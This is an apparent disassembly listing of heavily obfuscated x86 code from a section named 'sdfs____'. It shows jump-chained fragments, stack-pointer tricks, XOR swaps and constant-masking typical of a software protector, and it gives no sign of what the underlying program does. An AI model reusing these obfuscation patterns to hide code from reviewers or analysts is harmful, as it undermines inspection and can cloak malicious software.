		jmp	loc_59FBD4
; ---------------------------------------------------------------------------
		db 80h
		dd 0E78836F4h, 582434FFh, 0E95B5453h, 9B7Fh
; ---------------------------------------------------------------------------


loc_59EC18:				; CODE XREF: sdfs____:005A1469j
					; sdfs____:005A5EAEj
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	1DF5h
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_5A317A
; ---------------------------------------------------------------------------


loc_59EC35:				; CODE XREF: sdfs____:0059E5F2j
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		cmp	cx, ax
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		db 48h
		dd 97A7850Fh, 96350000h, 0F001E72h, 0FA3887h
		db 0
; ---------------------------------------------------------------------------


loc_59EC59:				; CODE XREF: sdfs____:005A2556j
		pop	edi
		add	edi, 4
		push	ecx
		mov	ecx, 4AC25EBFh
		push	0
		jmp	loc_5A847D
; ---------------------------------------------------------------------------


loc_59EC70:				; CODE XREF: sdfs____:005A9748j
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		mov	edi, 1F5A50D1h
		mov	ebp, edi
		pop	edi
		xor	ebp, 38C81655h
		sub	esp, 4
		mov	[esp], esi
		push	0C36h
		mov	[esp], ebx
		mov	ebx, 6B93008Ch
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 24117706h
		xor	eax, 304B566Ch
		js	loc_5A8C77
		jmp	loc_5ACFF9
; ---------------------------------------------------------------------------


loc_59ECC2:				; CODE XREF: sdfs____:005AB06Fj
		add	[esp], eax
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_59ECCB:				; CODE XREF: sdfs____:005A5E09j
		push	edi
		mov	edi, 0
		sub	edi, ecx
		mov	ecx, edi
		pop	edi
		sub	ecx, 6935F98Fh
		push	esi
		jmp	loc_5A8B2C
; ---------------------------------------------------------------------------


loc_59ECE2:				; CODE XREF: sdfs____:0059AD26j
		mov	[esp], ecx
		mov	ecx, 52F26B93h
		jmp	loc_59CF5F
; ---------------------------------------------------------------------------


loc_59ECEF:				; CODE XREF: sdfs____:005A6919j
		add	ebp, esi
		pop	esi
		add	ebp, eax
		jmp	loc_5A08C8
; ---------------------------------------------------------------------------


loc_59ECF9:				; CODE XREF: sdfs____:005A4410j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]


loc_59ED0B:				; CODE XREF: sdfs____:005AED8Dj
		push	298Fh
		mov	[esp], edx
		jmp	loc_5A28E3
; ---------------------------------------------------------------------------


loc_59ED18:				; CODE XREF: sdfs____:005A9887j
		mov	eax, [esp]
		jmp	loc_5A3A04
; ---------------------------------------------------------------------------


loc_59ED20:				; CODE XREF: sdfs____:005A52C7j
		shr	ebx, 6
		jmp	loc_5A0827
; ---------------------------------------------------------------------------


loc_59ED28:				; CODE XREF: sdfs____:005AE385j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5A1C76
; ---------------------------------------------------------------------------


loc_59ED35:				; CODE XREF: sdfs____:005AE4D9j
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	74C6h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 1D462B54h
		xor	eax, 37520E2Eh
		sub	eax, 2A142576h
		add	edx, eax
		jmp	loc_59CA9C
; ---------------------------------------------------------------------------
		dw 0F000h
		dd offset dword_574994+755h
		db 0
; ---------------------------------------------------------------------------


loc_59ED71:				; CODE XREF: sdfs____:005A9E43j
		neg	edx
		jmp	loc_5A5219
; ---------------------------------------------------------------------------


loc_59ED78:				; CODE XREF: sdfs____:005ABE73j
		mov	ebx, 107636E0h
		sub	ebx, edi
		pop	edi
		xor	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	421Ch
		mov	[esp], ecx
		jmp	loc_5AC3B5
; ---------------------------------------------------------------------------


loc_59ED98:				; CODE XREF: sdfs____:005AA619j
		push	ebx
		mov	bl, dh
		mov	cl, bl
		pop	ebx
		jmp	loc_5B02AD
; ---------------------------------------------------------------------------
		db 89h
		dd 1EE95BDAh
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59EDAB:				; CODE XREF: sdfs____:005AA3DFj
		add	esp, 2
		add	bl, 0EDh
		add	al, bl
		pop	ebx
		push	6C77h
		jmp	loc_59D7CF
; ---------------------------------------------------------------------------


loc_59EDBE:				; CODE XREF: sdfs____:005B0118j
		xor	edi, 66385143h
		push	edi
		add	dword ptr [esp], 22275CEEh
		mov	ebp, [esp]
		add	esp, 4
		sub	ebp, 22275CEEh
		jmp	loc_5A738E
; ---------------------------------------------------------------------------
		dd 48BC301h, 4D35E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59EDEA:				; CODE XREF: sdfs____:0059C567j
		and	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		not	ebp
		xor	ebp, 0CC29F16Bh
		add	edi, 79591F39h
		add	edi, ebp
		jmp	loc_5B0152
; ---------------------------------------------------------------------------


loc_59EE07:				; CODE XREF: sdfs____:0059CA12j
		mov	edx, [esp]
		add	esp, 4
		add	edi, ecx
		pop	ecx
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_5A290D
; ---------------------------------------------------------------------------


loc_59EE1A:				; CODE XREF: sdfs____:005A7476j
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A42F4
; ---------------------------------------------------------------------------
aQhR		db 'QhÎR',0
		align 2
		dd offset dword_4F4E10+9ED9h
		dw 0E900h
		dd 0FFFFA2DBh
; ---------------------------------------------------------------------------


loc_59EE34:				; CODE XREF: sdfs____:005A564Fj
		push	1D4A165Eh
		jmp	loc_5A761D
; ---------------------------------------------------------------------------


loc_59EE3E:				; CODE XREF: sdfs____:0059B79Dj
					; sdfs____:0059D739j
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		push	4EE41CE4h
		pop	edi
		not	edi
		sub	edi, 0B11BE31Bh
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		add	dword ptr [esp], 3A570587h
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 3A570587h
		pop	ebx
		sub	ecx, ebx
		push	ecx
		pop	ebx
		pop	ecx
		shl	ebx, 4
		push	ecx
		push	edi
		jmp	loc_5A170E
; ---------------------------------------------------------------------------


loc_59EE82:				; CODE XREF: sdfs____:0059CD45j
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5A303E
; ---------------------------------------------------------------------------


loc_59EE8B:				; CODE XREF: sdfs____:005AB07Dj
		add	ecx, 3E4638F3h
		sub	ecx, edi
		jmp	loc_5A34BD
; ---------------------------------------------------------------------------


loc_59EE98:				; CODE XREF: sdfs____:005A997Dj
		push	edx
		jmp	loc_59B2F2
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 202FB924h, 0CA891C2Bh, 2EAC159h, 8103EAC1h, 0FA0013F2h
		dd 0E9D32945h, 0FFFFE6FBh, 9CE9535Ah
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59EEC3:				; CODE XREF: sdfs____:005B000Cj
		shl	ecx, 5
		dec	ecx
		sub	ecx, 0D549365Eh
		add	eax, ecx
		pop	ecx
		sub	eax, esi
		sub	eax, 61180B61h
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	esp, 4
		sub	ebx, 467D0C83h
		sub	ebx, 0F7A270Fh
		push	7EA7h
		mov	[esp], edi
		mov	edi, 3872411Fh
		jmp	loc_59D94B
; ---------------------------------------------------------------------------


loc_59EF08:				; CODE XREF: sdfs____:0059F97Ej
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5AC20C
; ---------------------------------------------------------------------------


loc_59EF13:				; CODE XREF: sdfs____:005A3D45j
		sub	eax, 466B5A50h
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		jmp	loc_5A76B9
; ---------------------------------------------------------------------------
		db 1
		dd 0B4E95AD1h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59EF2B:				; CODE XREF: sdfs____:005AA8E6j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	35D0h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A7A80
; ---------------------------------------------------------------------------


loc_59EF4C:				; CODE XREF: sdfs____:005AF94Ej
		mov	esp, [esp]
		sub	al, 1Ah
		add	al, cl
		add	al, 1Ah
		pop	cx
		push	small 6B5Eh
		mov	[esp], dx
		sub	esp, 2
		mov	[esp], bx
		push	edx
		mov	dh, 8Ah
		mov	bl, dh
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	al, bl
		push	ebx
		push	edx
		jmp	loc_5A7D75
; ---------------------------------------------------------------------------


loc_59EF96:				; CODE XREF: sdfs____:005A8824j
		jnz	loc_5AB0D5
		jmp	loc_5AC4D9
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 0F9h
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59EFA7:				; CODE XREF: sdfs____:0059D0BAj
		pop	esp
		jmp	loc_5A6519
; ---------------------------------------------------------------------------


loc_59EFAD:				; CODE XREF: sdfs____:005AA1CDj
		push	6962h
		mov	[esp], eax
		jmp	loc_5AE8EB
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 24248B24h, 48E930FFh, 0E9FFFFA1h, 0FFFFA143h
; ---------------------------------------------------------------------------


loc_59EFCC:				; CODE XREF: sdfs____:loc_5A95DFj
		shl	ebx, 6
		shl	ebx, 7
		add	ebx, 0E619BDFh
		jmp	loc_59C7F0
; ---------------------------------------------------------------------------
byte_59EFDD	db 66h,	8Bh, 4		; DATA XREF: sdfs____:00598E40o
		dd 5DE95324h, 59FFFFB6h, 4DE9F028h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59EFEF:				; CODE XREF: sdfs____:005A90CAj
		or	ebx, 52037C90h
		jmp	loc_5AA8CB
; ---------------------------------------------------------------------------


loc_59EFFA:				; CODE XREF: sdfs____:005A4A22j
		xchg	eax, ebx
		pop	ebx
		jmp	loc_5ABA87
; ---------------------------------------------------------------------------


loc_59F001:				; CODE XREF: sdfs____:0059A17Ej
		push	dword ptr [ecx]
		add	dword ptr [esp], 77C95B78h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	eax, 77C95B78h
		push	dword ptr [esp]
		jmp	loc_5A5884
; ---------------------------------------------------------------------------


loc_59F01E:				; CODE XREF: sdfs____:005A0F2Bj
		sub	bl, 0DFh
		push	300Ch
		mov	[esp], ebp
		push	esp
		jmp	loc_5A6DDA
; ---------------------------------------------------------------------------


loc_59F02F:				; CODE XREF: sdfs____:0059A0E6j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	6786h
		mov	[esp], ebp
		jmp	loc_59EB52
; ---------------------------------------------------------------------------


loc_59F045:				; CODE XREF: sdfs____:0059F09Ej
		push	edx
		mov	edx, 2
		sub	esi, 32743F76h
		add	esi, edx
		jmp	loc_59FAA7
; ---------------------------------------------------------------------------


loc_59F058:				; CODE XREF: sdfs____:00599EF2j
		xor	edx, 3BBC06C4h
		sub	edx, 0E7113620h
		add	esi, edx
		pop	edx
		jmp	loc_59DC01
; ---------------------------------------------------------------------------


loc_59F06C:				; CODE XREF: sdfs____:0059EA8Fj
		mov	esp, [esp]
		jmp	loc_5AEC90
; ---------------------------------------------------------------------------
		dd 157BBB53h, 0D4E95374h, 50FFFFCDh, 0E688FAB4h, 88516658h
		dd 88F488E1h, 0E95966CEh, 7258h
; ---------------------------------------------------------------------------


loc_59F094:				; CODE XREF: sdfs____:005A24F0j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_59F045
; ---------------------------------------------------------------------------


loc_59F0A3:				; CODE XREF: sdfs____:005AB088j
		mov	[esp], eax
		jmp	loc_5A606A
; ---------------------------------------------------------------------------


loc_59F0AB:				; CODE XREF: sdfs____:005A033Cj
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		push	eax
		mov	ah, dl
		mov	bl, ah
		pop	eax
		jmp	loc_5A4A97
; ---------------------------------------------------------------------------
		db 59h
		dd 5351F828h, 0DBF6B3B3h, 0D53EE9h
		db 0
; ---------------------------------------------------------------------------


loc_59F0D5:				; CODE XREF: sdfs____:loc_599237j
		xor	cl, 94h
		push	edx
		mov	dl, 0Ch
		and	dl, 2
		jmp	loc_59F675
; ---------------------------------------------------------------------------
byte_59F0E3	db 0FFh			; DATA XREF: sdfs____:00599068o
		dd 24E94077h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F0EB:				; CODE XREF: sdfs____:0059C308j
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_5A6CC9
; ---------------------------------------------------------------------------
		dd 4EC835Ch, 89240C89h,	55E956E1h
		db 97h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59F10B:				; CODE XREF: sdfs____:005A57A5j
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		mov	esi, esp
		push	edi
		jmp	loc_5A531E
; ---------------------------------------------------------------------------


loc_59F126:				; CODE XREF: sdfs____:0059A804j
		mov	[esp], ecx
		jmp	loc_59BD33
; ---------------------------------------------------------------------------


loc_59F12E:				; CODE XREF: sdfs____:loc_59C004j
					; sdfs____:005A676Dj
		jmp	loc_5A75E0
; ---------------------------------------------------------------------------


loc_59F133:				; CODE XREF: sdfs____:005A7217j
		mov	esi, 75B62E55h
		sub	eax, esi
		pop	esi
		jmp	loc_5A1E0B
; ---------------------------------------------------------------------------
		dd 565CEA81h, 0F1E94D49h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F14B:				; CODE XREF: sdfs____:005A2B40j
		mov	[esp], ebp
		mov	ebp, 9FD7FE1h
		sub	edi, ebp
		pop	ebp
		sub	edi, edx
		add	edi, 9FD7FE1h
		pop	edx
		not	edi
		sub	edi, 8A31DFF4h
		jmp	loc_59FD62
; ---------------------------------------------------------------------------


loc_59F16C:				; CODE XREF: sdfs____:0059C76Ej
		push	366Dh
		mov	[esp], eax
		jmp	loc_5AD9C9
; ---------------------------------------------------------------------------


loc_59F179:				; CODE XREF: sdfs____:loc_59F7FBj
					; sdfs____:005A2CE7j
		mov	ecx, 6CA5919h
		add	edi, ecx
		pop	ecx
		sub	edi, 19DF559Fh
		jmp	loc_5AFE61
; ---------------------------------------------------------------------------


loc_59F18C:				; CODE XREF: sdfs____:0059D211j
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		jmp	loc_59A41D
; ---------------------------------------------------------------------------
aOsi		db 'Oéi¼',0
		align 10h


loc_59F1A0:				; CODE XREF: sdfs____:005A3FABj
		pop	esp
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5AEE4A
; ---------------------------------------------------------------------------


loc_59F1C3:				; CODE XREF: sdfs____:00599D6Dj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	0EB4h
		jmp	loc_5A6156
; ---------------------------------------------------------------------------


loc_59F1F3:				; CODE XREF: sdfs____:0059FB4Bj
					; sdfs____:005A8B0Ej
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 5FEA6DE2h
		jmp	loc_5A769B
; ---------------------------------------------------------------------------


loc_59F206:				; CODE XREF: sdfs____:0059ABC7j
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		push	ebp
		jmp	loc_5A99B5
; ---------------------------------------------------------------------------


loc_59F216:				; CODE XREF: sdfs____:0059DD0Bj
		sub	edx, 60DC5EBFh
		mov	esi, edx
		mov	edx, [esp]
		jmp	loc_5A09AD
; ---------------------------------------------------------------------------


loc_59F226:				; CODE XREF: sdfs____:0059CE53j
		sub	[esp], al
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_59F22F:				; CODE XREF: sdfs____:005A8C35j
		add	edi, 4
		jmp	loc_59DC7C
; ---------------------------------------------------------------------------
		dw 0D829h
		dd 7312FE2Dh, 2434FF47h, 4C4815Bh, 8B000000h, 1EE9240Ch
		db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59F253:				; CODE XREF: sdfs____:005A5602j
					; sdfs____:005A9CCAj
		add	[esp+4], edi
		jmp	loc_5A3AC7
; ---------------------------------------------------------------------------


loc_59F25C:				; CODE XREF: sdfs____:0059BF44j
		push	eax
		push	esi
		mov	esi, 33183897h
		sub	esi, 0BCD1D6EEh
		mov	eax, esi
		pop	esi
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 4
		jmp	loc_5A635F
; ---------------------------------------------------------------------------


loc_59F28D:				; CODE XREF: sdfs____:0059AFB7j
		xor	dh, 1Ah
		mov	ah, dh
		pop	edx
		jmp	loc_59EBD5
; ---------------------------------------------------------------------------


loc_59F298:				; CODE XREF: sdfs____:005A9B18j
		mov	[esp], ecx
		mov	ecx, 59AC6CA3h
		xor	ecx, 169735B2h
		not	ecx
		jmp	loc_5A9227
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 98h
		dd 14C5200h, 0F5815FFDh, 32FC077Ch, 0E7BF581h, 88E9F481h
		dd 5AFFFFB4h, 5658C501h, 10CBDE9h
		db 0
; ---------------------------------------------------------------------------


loc_59F2D1:				; CODE XREF: sdfs____:005A4860j
					; sdfs____:005AEBF2j
					; DATA XREF: ...
		mov	ax, [esp]
		push	310Dh
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		push	edx
		jmp	loc_5A73BB
; ---------------------------------------------------------------------------


loc_59F2E9:				; CODE XREF: sdfs____:005AF276j
		shl	ebp, 5
		add	ebp, 0D2459004h
		jmp	loc_5A4980
; ---------------------------------------------------------------------------


loc_59F2F7:				; CODE XREF: sdfs____:0059D84Aj
		push	dword ptr [esp+4]
		jmp	loc_5A3321
; ---------------------------------------------------------------------------


loc_59F300:				; CODE XREF: sdfs____:00599F90j
		add	ebp, edi
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	3C33h
		mov	[esp], ecx
		push	esi
		mov	esi, 4
		mov	ecx, esi
		jmp	loc_5AE9F4
; ---------------------------------------------------------------------------


loc_59F322:				; CODE XREF: sdfs____:loc_5A7B23j
		xor	ebp, 0EDFFEB8Bh
		mov	edx, ebp
		pop	ebp
		sub	esi, 406F1677h
		jmp	loc_5AE595
; ---------------------------------------------------------------------------
word_59F336	dw 0FF64h		; DATA XREF: sdfs____:00598EFCo
a2sN		db '2é,N',0
		align 2


loc_59F33E:				; CODE XREF: sdfs____:005A8EC7j
		pop	edx
		sub	bl, dl
		sub	bl, 51h
		pop	dx
		push	eax
		mov	al, 0E5h
		sub	bl, al
		pop	eax
		sub	bl, 2Dh
		sub	bl, al
		push	edx
		mov	dl, 41h
		shr	dl, 1
		xor	dl, 0Dh
		add	bl, dl
		pop	edx
		push	ecx
		mov	cl, 0F7h
		inc	cl
		dec	cl
		jmp	loc_5A2B53
; ---------------------------------------------------------------------------


loc_59F368:				; CODE XREF: sdfs____:005AD265j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A7890
; ---------------------------------------------------------------------------


loc_59F376:				; CODE XREF: sdfs____:005A4A87j
		sub	ecx, 66B078C8h
		shr	ecx, 3
		jns	loc_5A2EED
		sub	ecx, 0E344CF1h
		and	ecx, 1EFE3C45h


loc_59F391:				; CODE XREF: sdfs____:0059AC42j
		pop	eax
		sub	eax, 3403427Dh
		jmp	loc_5A9767
; ---------------------------------------------------------------------------


loc_59F39C:				; CODE XREF: sdfs____:005A54B5j
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		mov	edx, [esp]
		jmp	loc_5AFD26
; ---------------------------------------------------------------------------


loc_59F3AE:				; CODE XREF: sdfs____:0059BDF5j
		sub	esp, 4
		jmp	loc_5A6C59
; ---------------------------------------------------------------------------


loc_59F3B6:				; CODE XREF: sdfs____:loc_5A8707j
		push	ebp
		mov	ebp, 5AB24E4Ah
		and	edx, ebp
		pop	ebp
		add	edx, 347F6F6Ah
		jmp	loc_5ACF82
; ---------------------------------------------------------------------------


loc_59F3CA:				; CODE XREF: sdfs____:005A8C4Bj
		sub	edx, 2D5C2663h
		push	ebp
		mov	ebp, 413417EBh
		add	edx, ebp
		pop	ebp
		pop	ebx
		not	edx
		inc	edx
		add	edx, 0CCAB9A16h
		and	ebx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5AC1E7
; ---------------------------------------------------------------------------


loc_59F3F1:				; CODE XREF: sdfs____:005AABDDj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 4
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	138Fh
		mov	[esp], ebx
		mov	ebx, 4
		sub	eax, 610516A9h
		add	eax, ebx
		add	eax, 610516A9h
		jmp	loc_5A94F4
; ---------------------------------------------------------------------------
		dd 2434FF54h, 4C48158h,	68000000h, 82Fh, 68240C89h, 4
		dd 0FFC80159h, 50592434h, 0FFCE5CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F455:				; CODE XREF: sdfs____:005ABB1Dj
		pop	eax
		add	[esp+4], eax
		mov	eax, [esp]
		push	edx
		jmp	loc_5A59B8
; ---------------------------------------------------------------------------


loc_59F463:				; CODE XREF: sdfs____:005AC07Cj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5A3D11
; ---------------------------------------------------------------------------


loc_59F46E:				; CODE XREF: sdfs____:005A449Dj
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_59F473:				; CODE XREF: sdfs____:0059A976j
		xchg	edi, [edx+38h]
		xor	[edx+38h], ecx
		xor	ecx, [edx+38h]
		xor	[edx+38h], ecx
		not	ecx
		xor	[edx+38h], ecx
		xor	ecx, [edx+38h]
		xor	[edx+38h], ecx
		inc	dword ptr [edx+38h]
		jmp	loc_5A2E41
; ---------------------------------------------------------------------------


loc_59F492:				; CODE XREF: sdfs____:005AA27Cj
		not	edi
		jmp	loc_59F622
; ---------------------------------------------------------------------------
aBNfAiusd	db 'Åä³ ‰îé„%',0
		align 2


loc_59F4A6:				; CODE XREF: sdfs____:0059E43Ej
		or	eax, 685C347Ah
		sub	eax, 27FF828h
		and	edi, eax
		jmp	loc_59C202
; ---------------------------------------------------------------------------


loc_59F4B7:				; CODE XREF: sdfs____:005AA603j
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	[esp], al
		pushf
		jmp	loc_5A0FAB
; ---------------------------------------------------------------------------
		dw 835Dh
		dd 0E9C1FFC1h, 118DE906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59F4D2:				; CODE XREF: sdfs____:005A0E1Ej
		push	ebp
		jmp	loc_5A82C4
; ---------------------------------------------------------------------------


loc_59F4D8:				; CODE XREF: sdfs____:0059A96Dj
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5AD2DA
; ---------------------------------------------------------------------------


loc_59F4E1:				; CODE XREF: sdfs____:005AF0DEj
		pop	edx
		sub	ebp, 0BFBB9FADh
		add	ebx, ebp
		jmp	loc_599D6A
; ---------------------------------------------------------------------------


loc_59F4EF:				; CODE XREF: sdfs____:005A3B6Aj
		pop	edx
		jmp	loc_5A6E39
; ---------------------------------------------------------------------------


loc_59F4F5:				; CODE XREF: sdfs____:0059C39Dj
		shr	ebp, 6
		jmp	loc_5AA1D2
; ---------------------------------------------------------------------------


loc_59F4FD:				; CODE XREF: sdfs____:005A7503j
		push	4D88h
		mov	[esp], esi
		jmp	loc_5AD84A
; ---------------------------------------------------------------------------


loc_59F50A:				; CODE XREF: sdfs____:005AEE88j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		and	ebp, 77EF204Ah
		push	24ACh
		mov	[esp], edx
		mov	edx, 2205304Ah
		xor	ebp, edx
		jmp	loc_5A8501
; ---------------------------------------------------------------------------


loc_59F533:				; CODE XREF: sdfs____:005AD8C7j
		jmp	loc_5ACE00
; ---------------------------------------------------------------------------
		dd 0E9241489h, 0D87Ah
; ---------------------------------------------------------------------------


loc_59F540:				; CODE XREF: sdfs____:005AD3D9j
		sub	edx, 0AD7A8C0Fh
		neg	edx
		xchg	edi, edx
		not	edi
		xor	edx, edi
		xor	edi, edx
		xor	edx, edi
		push	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 42874D10h
		jmp	loc_59EBC3
; ---------------------------------------------------------------------------


loc_59F566:				; CODE XREF: sdfs____:005A8DA8j
		push	ebp
		jmp	loc_5A9390
; ---------------------------------------------------------------------------


loc_59F56C:				; CODE XREF: sdfs____:0059AB49j
		mov	esi, 56CE7DB9h
		sub	ecx, esi
		pop	esi
		jmp	loc_5A55E3
; ---------------------------------------------------------------------------


loc_59F579:				; CODE XREF: sdfs____:005A74DFj
		add	al, cl
		pop	ecx
		push	ebx
		mov	bl, 0F3h
		add	al, bl
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		push	78CFh
		mov	[esp], ecx
		push	7258h
		jmp	loc_5A28D5
; ---------------------------------------------------------------------------
		dw 4B68h
		dd 89000067h, 0FF542414h, 148B2434h, 0E3895324h, 4C381h
		dd 0C3810000h, 4, 5C241C87h, 4C481h, 0C2810000h, 4, 4C281h
		dd 14870000h, 44815C24h, 7CBC0424h, 4C013ABFh, 45E90424h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F5E3:				; CODE XREF: sdfs____:005A3882j
		add	ah, ch
		mov	cx, [esp]
		jmp	loc_5A5029
; ---------------------------------------------------------------------------


loc_59F5EE:				; CODE XREF: sdfs____:0059938Dj
		not	edx
		xchg	edx, [esp]
		pop	edx
		xchg	edx, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	67C2h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59E81A
; ---------------------------------------------------------------------------
		align 4
		dd 1C86E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59F622:				; CODE XREF: sdfs____:0059F494j
		inc	edi
		dec	edi
		add	edi, 33BE6841h
		jmp	loc_5A3A9C
; ---------------------------------------------------------------------------


loc_59F62F:				; CODE XREF: sdfs____:0059BD43j
					; sdfs____:0059CA7Cj
		jmp	loc_5A88C1
; ---------------------------------------------------------------------------


loc_59F634:				; CODE XREF: sdfs____:005A44B1j
		add	ecx, 4
		jmp	loc_5AF061
; ---------------------------------------------------------------------------


loc_59F63C:				; CODE XREF: sdfs____:0059E726j
		push	55E0h
		mov	[esp], ebx
		mov	bl, dl
		jmp	loc_5A9481
; ---------------------------------------------------------------------------


loc_59F64B:				; CODE XREF: sdfs____:005AD471j
		sub	edx, esi
		push	eax
		mov	eax, 614A260Ch
		sub	edx, 3753BBAh
		sub	edx, eax
		add	edx, 3753BBAh
		pop	eax
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_59EB9E
; ---------------------------------------------------------------------------


loc_59F66D:				; CODE XREF: sdfs____:0059DC28j
		mov	esp, [esp]
		jmp	loc_59BD61
; ---------------------------------------------------------------------------


loc_59F675:				; CODE XREF: sdfs____:0059F0DEj
		dec	dl
		push	ebx
		mov	bh, 5
		jmp	loc_5A28CE
; ---------------------------------------------------------------------------


loc_59F67F:				; CODE XREF: sdfs____:0059D9D5j
		jnp	loc_5A77AC
		push	edi
		jmp	loc_5A7D81
; ---------------------------------------------------------------------------


loc_59F68B:				; CODE XREF: sdfs____:005AE590j
		xchg	eax, ecx
		push	3789h
		jmp	loc_5AD85E
; ---------------------------------------------------------------------------
		dw 34FFh
aZh8p		db '$Zh8p',0
		dw 8900h
		dd 0E189240Ch, 4C181h, 0C1830000h, 240C8704h, 1A54E9h
		db 0
; ---------------------------------------------------------------------------


loc_59F6B5:				; CODE XREF: sdfs____:005AAC5Dj
		dec	edx
		xor	edx, 0A0F276FFh
		sub	ecx, edx
		pop	edx
		add	ecx, 3FA804D2h
		jmp	loc_5A80D6
; ---------------------------------------------------------------------------


loc_59F6CA:				; CODE XREF: sdfs____:005A7D89j
		add	eax, 68E918B1h
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_5AD458
; ---------------------------------------------------------------------------
		dd 0F05E9C1h, 0FFD1208Bh, 0BB97E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F6EE:				; CODE XREF: sdfs____:005A4B53j
		push	esp
		pop	ebx
		jmp	loc_5A9462
; ---------------------------------------------------------------------------


loc_59F6F5:				; CODE XREF: sdfs____:005AE3D6j
		add	esp, 4
		push	small 17Eh
